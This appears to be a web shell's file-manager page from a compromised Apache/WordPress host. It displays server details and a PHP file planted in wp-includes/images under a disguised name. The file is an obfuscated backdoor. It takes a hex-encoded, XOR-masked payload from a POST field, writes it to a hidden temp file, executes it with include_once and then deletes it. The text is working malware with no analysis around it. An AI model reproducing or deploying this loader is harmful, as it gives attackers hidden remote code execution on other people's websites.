HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-includes/images/bottom.1751582597.php
<!--6Ha65F5k-->
<?php

if(!empty($_POST["\x70\x61r\x61m\x65\x74e\x72_\x67\x72oup"])){
$k = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
$pointer = hex2bin($_POST["\x70\x61r\x61m\x65\x74e\x72_\x67\x72oup"]);
$flag =    '';  $l=0;while($l<strlen($pointer)){$flag.=chr(ord($pointer[$l])^65);$l++;}
for ($resource = 0, $entry = count($k); $resource < $entry; $resource++) {
    $pgrp = $k[$resource];
            if (!( !is_dir($pgrp) || !is_writable($pgrp) )) {
            $factor = join("/", [$pgrp, ".symbol"]);
            if ($pset = fopen($factor, 'w')) {
    fwrite($pset, $flag);
    fclose($pset);
    include_once $factor;
    unlink($factor);
    exit;
}
        }
}
}